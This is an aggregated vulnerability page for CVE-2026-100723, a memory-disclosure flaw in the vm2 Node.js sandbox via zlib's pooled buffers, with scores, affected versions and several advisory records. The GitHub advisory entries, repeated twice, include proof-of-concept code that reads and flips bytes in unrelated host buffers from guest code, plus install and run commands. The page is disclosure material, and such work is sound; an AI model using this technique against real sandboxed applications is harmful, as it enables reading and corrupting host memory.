Every CVE Search/ Get API key

CVE-2026-100723

vm2 before 3.12.2 Memory Disclosure via zlib Buffer Pool

6.9 MediumFix available

vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
None

Exploit likelihood

0.39%Up 0.1 points since Sep 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.9

vm2 before 3.12.2 Memory Disclosure via zlib Buffer Pool

vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Record
CVE-2026-100723
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-200
Updated
2026-11-02
EUVDEUVD-2026-87856 6.9

vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Record
EUVD-2026-87856
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-43rv-jrfh-9mrr 6.9

Duplicate Advisory: vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-489w-w794-jq94. This link is maintained to preserve external references.

Original Description

vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Record
GHSA-43rv-jrfh-9mrr
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-200
Updated
2026-11-02
GitHub AdvisoriesGHSA-489w-w794-jq94 6.9

vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary

Summary

When an application explicitly exposes Node's zlib module through vm2's NodeVM builtin allowlist, an untrusted guest can obtain a pool-backed host Buffer from zlib.deflateSync, create a full-width view of its backing ArrayBuffer, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local Buffer control remains exact-size and non-mutating.

Technical Details

NodeVM accepts require: { builtin: ['zlib'] }. The builtin resolver reaches addDefaultBuiltin in lib/builtin.js, where the host module is exposed through the generic readonly wrapper. zlib.deflateSync returns a Node Buffer; for a small result, that buffer can use Node's shared pool, whose .buffer is the complete pool rather than only the logical result slice. The guest can therefore call Buffer.from(result.buffer, 0, result.buffer.byteLength) and inspect or modify pooled bytes outside result.

The relevant isolation invariant is that every Buffer crossing into the sandbox owns its complete backing store: byteOffset === 0 and buffer.byteLength === length. vm2's depoolBuffer implementation applies that rule to sandbox-facing Buffer factories, but the generic host-builtin return path does not apply it to the Buffer returned by zlib. The precondition is an embedder that deliberately allowlists zlib; applications that do not expose this builtin are not reached by this proof.

PoV

The guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host Buffer; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.

const zlib = require('zlib');
const result = zlib.deflateSync(Buffer.from('hello'));
const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);
const markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);
let markerHits = 0;
let firstMarker = -1;
for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {
  let equal = true;
  for (let index = 0; index < markerCodes.length; index += 1) {
    if (view[offset + index] !== markerCodes[index]) { equal = false; break; }
  }
  if (equal) { markerHits += 1; if (firstMarker < 0) firstMarker = offset; }
}
if (firstMarker >= 0) view[firstMarker] ^= 0xff;
module.exports = {
  route: {
    requireReturned: !!zlib && typeof zlib.deflateSync === 'function',
    deflateSyncReturnedBuffer: Buffer.isBuffer(result),
    returnedBufferShape: !!result && !!result.buffer,
  },
  resultLength: result.length,
  resultBackingLength: result.buffer.byteLength,
  viewLength: view.length,
  fullBackingStoreView: view.byteOffset === 0
    && view.length === result.buffer.byteLength
    && view.buffer.byteLength === result.buffer.byteLength,
  markerHits,
  firstMarker,
};

PoC

Install the tested package version with Node.js, save the complete reproduction below as zlib-buffer-isolation-test.js, and run both modes. The attack and control commands print the JSON shown after the code.

npm install [email protected]
node zlib-buffer-isolation-test.js attack hello
node zlib-buffer-isolation-test.js control
'use strict';

const { NodeVM } = require('vm2');

const marker = 'VM2_ZLIB_POOL_SECRET_7b31';
const markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0)));
const retained = [];

for (let index = 0; index < 192; index += 1) {
  const buffer = Buffer.allocUnsafe(64);
  buffer.fill(0x41);
  const markerOffset = index % (buffer.length - markerCodes.length + 1);
  markerCodes.forEach((byte, byteIndex) => {
    buffer[markerOffset + byteIndex] = byte;
  });
  retained.push({ buffer, markerOffset });
}

const snapshot = () => retained.map(({ buffer }) => Array.from(buffer));
const changed = (before, after) =>…
Record
GHSA-489w-w794-jq94
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-200, CWE-787
Updated
2026-11-02
NVD 6.9

vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Record
CVE-2026-100723
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-200
Updated
2026-11-02
OSV 6.9

vm2 before 3.12.2 Memory Disclosure via zlib Buffer Pool

vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Record
CVE-2026-100723
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
Weakness
CWE-200
Updated
2026-11-02
Show 5 moreShow less
OSVGHSA-43rv-jrfh-9mrr 6.9

Duplicate Advisory: vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-489w-w794-jq94. This link is maintained to preserve external references.

Original Description

vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Record
GHSA-43rv-jrfh-9mrr
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-200
Updated
2026-11-02
OSVGHSA-489w-w794-jq94 6.9

vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary

Summary

When an application explicitly exposes Node's zlib module through vm2's NodeVM builtin allowlist, an untrusted guest can obtain a pool-backed host Buffer from zlib.deflateSync, create a full-width view of its backing ArrayBuffer, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local Buffer control remains exact-size and non-mutating.

Technical Details

NodeVM accepts require: { builtin: ['zlib'] }. The builtin resolver reaches addDefaultBuiltin in lib/builtin.js, where the host module is exposed through the generic readonly wrapper. zlib.deflateSync returns a Node Buffer; for a small result, that buffer can use Node's shared pool, whose .buffer is the complete pool rather than only the logical result slice. The guest can therefore call Buffer.from(result.buffer, 0, result.buffer.byteLength) and inspect or modify pooled bytes outside result.

The relevant isolation invariant is that every Buffer crossing into the sandbox owns its complete backing store: byteOffset === 0 and buffer.byteLength === length. vm2's depoolBuffer implementation applies that rule to sandbox-facing Buffer factories, but the generic host-builtin return path does not apply it to the Buffer returned by zlib. The precondition is an embedder that deliberately allowlists zlib; applications that do not expose this builtin are not reached by this proof.

PoV

The guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host Buffer; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.

const zlib = require('zlib');
const result = zlib.deflateSync(Buffer.from('hello'));
const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);
const markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);
let markerHits = 0;
let firstMarker = -1;
for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {
  let equal = true;
  for (let index = 0; index < markerCodes.length; index += 1) {
    if (view[offset + index] !== markerCodes[index]) { equal = false; break; }
  }
  if (equal) { markerHits += 1; if (firstMarker < 0) firstMarker = offset; }
}
if (firstMarker >= 0) view[firstMarker] ^= 0xff;
module.exports = {
  route: {
    requireReturned: !!zlib && typeof zlib.deflateSync === 'function',
    deflateSyncReturnedBuffer: Buffer.isBuffer(result),
    returnedBufferShape: !!result && !!result.buffer,
  },
  resultLength: result.length,
  resultBackingLength: result.buffer.byteLength,
  viewLength: view.length,
  fullBackingStoreView: view.byteOffset === 0
    && view.length === result.buffer.byteLength
    && view.buffer.byteLength === result.buffer.byteLength,
  markerHits,
  firstMarker,
};

PoC

Install the tested package version with Node.js, save the complete reproduction below as zlib-buffer-isolation-test.js, and run both modes. The attack and control commands print the JSON shown after the code.

npm install [email protected]
node zlib-buffer-isolation-test.js attack hello
node zlib-buffer-isolation-test.js control
'use strict';

const { NodeVM } = require('vm2');

const marker = 'VM2_ZLIB_POOL_SECRET_7b31';
const markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0)));
const retained = [];

for (let index = 0; index < 192; index += 1) {
  const buffer = Buffer.allocUnsafe(64);
  buffer.fill(0x41);
  const markerOffset = index % (buffer.length - markerCodes.length + 1);
  markerCodes.forEach((byte, byteIndex) => {
    buffer[markerOffset + byteIndex] = byte;
  });
  retained.push({ buffer, markerOffset });
}

const snapshot = () => retained.map(({ buffer }) => Array.from(buffer));
const changed = (before, after) =>…
Record
GHSA-489w-w794-jq94
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-200, CWE-787
Updated
2026-11-02
OSVCLSA-2026-1791279062 No score

TuxCare security update for vm2 (8 CVEs)

TuxCare rebuilt vm2 to address 8 CVEs. Fixed in 3.11.7-tuxcare.1.

Record
CLSA-2026-1791279062
Updated
2026-11-02
OSVCLSA-2026-1791387024 No score

TuxCare security update for vm2 (4 CVEs)

TuxCare rebuilt vm2 to address 4 CVEs. Fixed in 3.11.5-tuxcare.6.

Record
CLSA-2026-1791387024
Updated
2026-11-02
OSVCLSA-2026-1791453761 No score

TuxCare security update for vm2 (4 CVEs)

TuxCare rebuilt vm2 to address 4 CVEs. Fixed in 3.10.0-tuxcare.5.

Record
CLSA-2026-1791453761
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
vm2
npm
through 3.12.1
3.12.2
vm2
TuxCare:npm
3.11.7-tuxcare.0 up to 3.11.7-tuxcare.1, plus listed versions
3.11.7
3.11.7-tuxcare.1
vm2
TuxCare:npm
3.11.5-tuxcare.0 up to 3.11.5-tuxcare.6, plus listed versions
3.11.53.11.5-tuxcare.13.11.5-tuxcare.23.11.5-tuxcare.33.11.5-tuxcare.43.11.5-tuxcare.5
3.11.5-tuxcare.6
vm2
TuxCare:npm
3.10.0-tuxcare.0 up to 3.10.0-tuxcare.5, plus listed versions
3.10.03.10.0-tuxcare.13.10.0-tuxcare.23.10.0-tuxcare.33.10.0-tuxcare.4
3.10.0-tuxcare.5
vm2
npm
before 3.12.2
3.12.2

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-100723 is a medium vulnerability (CVSS 6.9) in Patriksimek Vm2, published September 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 33rd percentile. Fixed in vm2 3.12.2.

References

Show 5 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open